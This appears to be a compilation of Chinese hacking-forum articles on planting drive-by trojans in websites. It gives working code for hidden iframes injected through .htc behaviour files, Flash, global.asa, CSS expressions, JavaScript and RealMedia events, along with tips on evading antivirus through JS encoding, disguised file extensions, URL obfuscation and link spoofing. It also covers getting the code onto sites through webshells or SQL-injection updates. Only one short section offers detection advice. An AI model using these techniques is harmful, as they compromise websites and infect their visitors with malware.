作者:lcx
这里只做技术讨论,不做具体危害的事。如果你要用我的方法去做,我也没办法,呵呵。关于挂马,基本上是在网页原来的代码里加载一个iframe。关于加载iframe,我以前的文章写过几种,这篇文章里再提两个新方法吧。
一、利用htc文件来加载iframe。
百度百科里对htc文件的解释为:从5.5版本开始,Internet Explorer(IE)开始支持Web 行为的概念。这些行为是由后缀名为.htc的脚本文件描述的,它们定义了一套方法和属性,程序员几乎可以把这些方法和属性应用到HTML页面上的任何元素 上去。Web 行为是非常伟大的因为它们允许程序员把自定义的功能“连接”到现有的元素和控件,而不是必须让用户下载二进制文件(例如ActiveX 控件)来完成这个功能。Web 行为还是推荐的扩展IE对象模型和控件集的方法。微软在它的开发者站点上的DHTML 行为库栏目里提供了几个定制的Web行为。
这些专业的术语看看就头疼,我们看实际应用。先来看一下vbs写的hello.htc
★
<attach event=”ondocumentready” ONEVENT=”Hello()” />
<script language=”VBScript”>
Function Hello()
MsgBox “Hello, World!”
End Function
</script>
★
我们再来写一个1.htm来调用,代码:
★
<html>
<body style=”behavior: url(hello.htc)”>
</body>
</html>
★
我们把hello.htc和1.htm放在同一个目录下,用ie执行1.htm就会成功弹出一个hello world对话框。如果用vbs来执行的话,中马的人只有ie用户了,用火狐的就漏掉了,我们改成js的,直接用1.htm加载新的hello.htc, 新的代码为:
★
<attach event=”ondocumentready” ONEVENT=”hello()” />
<script>
function hello()
{
var O = document.createElement(“iframe”);
O.width = ‘0′;
O.height = ‘0′;
O.src=”http://www.sohu.com“;
ownerDocument.body.appendChild(O); //注意看,这里用的是ownerDocument,这是精华。
}
</script>
★
这样你把hello.htc传到对方网站目录下,然后在对方页面里加上<body style=”behavior: url(hellow1.htc)”>就可以成功加载框加了,呵呵。
二、关于swf加载网马的简便做法
用swf直接加载iframe也不是什么新方法了,不过我这里有一个简单做法,用到的软件就是flasm。我已经做好了一个模板,是swf.swf。我们在dos下运行flasm -d swf.swf>swf.flm,如图1所示。
图1
其中flasm -d swf.swf>swf.flm是生成swf.flm,如果不加>swf.flm是直接显示源码了。你只需要改变图1当中的url地址和框架 高度就可以了。改变地址后,我们再运行一个命令:flasm -a swf.flm就生成你需要的swf了,如图2所示。
图2
我们再写一个swf.htm调用,代码为:
★
<head>
</head>
<body>
<embed src=swf.swf witdh=0 height=0></embed>
</body>
★
注意的是<embed src=swf.swf witdh=0 height=0></embed> 一定要加在body中间,要不然你不会成功,这是和我写的as代码有关。如果大家有什么疑问,可以去我的blog:http://hi.baidu.com/myvbscript。
[文章中的文件1.htm、hello.htc以及swf.htm、swf.htc、flasm.rar已收录在本期光盘]
注:这里我做的flash样本没有提供,也没有什么了,大家主要看看htc的方法吧
Moyo[S.c.T] & SpooKZanG[S.c.T]
首先声明:
一、本文毫无技术含量,高手绕道。
二、本文并非教授挂马知识,目的在于为广大站长提供一些防护思路。
一、什么是global.asa?
Global.asa 文件是一个可选的文件,它可包含可被 ASP 应用程序中每个页面访问的对象、变量以及方法的声明。
Global.asa 文件可包含下列内容:
- Application 事件
- Session 事件
- <object> 声明
- TypeLibrary 声明
- #include 命令
注释:Global.asa 文件须存放于 ASP 应用程序的根目录中,且每个应用程序只能有一个 Global.asa 文件。
通过以上信息,我们能够知道,任何一个ASP程序在执行时,都会调用global.asa,这就给我们留下了一些隐患。
二、怎样实现
只要我们在网站下面建立一个global.asa,并且写入如下内容:
1
2
3
4
5
| <script LANGUAGE="VBScript" RUNAT="Server">
Sub Application_OnStart
End Sub
Response.Write "<iframe src=http://www.spookzang.net width=220 height=220></iframe>"
</script> |
这样用户在第一次打开网页的时候就会触发挂马。
三、怎样预防
注意自己网站下面的global.asa文件,是否被改写或者添加。
因为其不像iframe,JS等挂马方法,能通过查看源码得到信息。
他只需在网站根目录下建立一个global.asa,然后在里面写入挂马内容即可让整个网站被挂马,而不需要在整个网站的网页内加入挂马内容。
1,挂马的N种方法
(1) HTML挂马法。
常规的HTML挂马方法一般是在网页中插入一条iframe语句,像<iframe src=http://www.xxx.com/horse.html width=0 height=0></iframe>。查看站点是否被挂,一般是查找一下关键词iframe。
(2) 再隐藏一点的就是js挂马了。
像再原来的网页中写入<script str=http://www.xxx.com/horse.js></script>,horse里的js写法一般为 document.write(’http:\/\/www.xxx.com\/horse.html’>;,或者专业一点的写法是 top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n<inframe src=”http://www.xxx.com/horse.htm/”></iframe>’;。不过第2种写法要注意:是原来的网页种要有body标签。
(3) 在 css中挂马。
这个方法就是在css中写入:
body {
hytop:expression(top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n<iframe src=”http://www.xxx.com/horse.html/”></iframe>’);
}
然后在主页中调用这个CSS,代码类似<link href=”http://www.7747.net/css.css” rel=”stylesheet” type=”text/css”>这样的。在csdn 中对expression的解释是:IE5及其以后版本支持在CSS中使用expression,用来吧CSS属性和Javascript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。也就是说CSS属性后面可以是一段Javasccript表达式,CSS属性的值等于 Javascript表达式计算的结果。在表达式中可以是直接一用元素自身的属性和方法,也可以使用其它浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。整个解释关键点是expression可以在css中引入js语句,所以我们可用于挂马。不过写的语句值可以远程调用,本地不可以。
(4) 在swf中挂马
网上有一些swf挂马的工具,可以用工具替换原来网页中的swf或单独把swf发给对方,一可以单独作一个可显示swf页的网页。在网页中插入swf的语法一般格式为:
<OBJECT classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5.0.0.0 WIDTH=760 NAME=quality VALUE=high> <EMBED src=”http://www.7747.net/xxx.swf” quality=high pluginspage=http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash type=application/x-shockwave-flash width=760 height=60></EMBED></OBJECT>
(5) 在影音文件中挂马。
所需工具是RealMedia Editor,打开工具后,然后依次选择“文件”-“打开Real媒体文件”,然后选择需要编辑的视频文件,其格式必须是RealOne公司的以RM或 RMVB为扩展名的文件。接着,新建一个文本,在里面输入u 00:00:10:0 00:00:30.0&&_rpexternal&&http://www.xxx.com/horse.htm
(00:00:10.0就是发生第一事件的时间,这里是让计算机弹出网页;00:00:30.0同样,这是第二次发生的时间,在0时0分第30秒0微妙时弹出窗口;而后面的URL地址就是连接指定的木马地址。)
输入完毕后并保存,然后依次选择“工具”-“合并事件”,导入刚才的文本。当合并完成后,依次选择“文本”-“Real文件另存为”,保存好即可。
最后把生成的视频文件发布网上,当对方观看同时就会连接到你指定的木马地址。
2,挂马的技巧
挂马首先要求的是隐蔽性,这样挂的时间才能长。像在SWF、JS、RM中挂马就是比较隐蔽了,但是还可再用到些技巧。
(1)远程任意后缀执行HTML
可以把horse.html改成horse.jpg之类的后缀,然后语句写成<iframe src=/uploadfile/200902/20090220105353594.jpg width=0 height=0></iframe>。js也可以,语句为<script src=/uploadfile/200902/20090220105353594.jpg></script>,甚至js的不要后缀名都可以。
(2)JS的加密
为了保护网页木马的代码,可以把JS内容加密,还能躲开杀软的作用。如果使用ENCODE加密方式,加密后的JS调用语句就用<scriptlanguage=”jscript”.encode”src=http://www.xxx.com/horse.txt& gt;</script>。除此方法外,还有其它更多的方法!
(3)URL的变形
URL的变形方法也有很多,例如将url的16进制转换为encod编码等。如果是涉及到URL欺骗的方法就更多了,不过多数的URL欺骗,像利用@的技巧,IE都已经打补丁了。但现在有个漏洞仍然有效,代码如下:
<a id=”CZY” href=”http://www.baidu.com”></a>
<div>
<a href=”http://www.google.cn” target=”_blank”>
<table>
<caption>
<a href=”http://www.google.cn” target=”_blank”>
<label for=”CZY”>
<u style=”cursor: pointer: color: blue”>
Google</u>
</label></a></caption></table></a></div>
保存该代码为网页后,鼠标移动到Google这个链接上时,IE状态栏显示的是http://www.google.cn,但点击链接后却打开http: //www.baidu.com网站。如果你的网马可以用IP地址访问到的话,IP地址也可以进行转换的。像127.0.0.1这样的IP还可以变为 2130706433、0×7f.0×00.0×00.0×01、0177.0000.0000.0001等等,这只不过是8进制、10进制、16进制、的转换而已。
3,如何才能挂到马
拿到了webshell的话,挂马自然是很简单了。但是拿不到的情况下,如果注入点有update权限,我们可以仔细查找首页中的某条新闻的调用链接,然后update数据库达到我们的目的。如果可进入后台,我没就可以在一些发公告的地方写入自己的木马代码(不过千万别打乱前台html源文件里的代码逻辑)。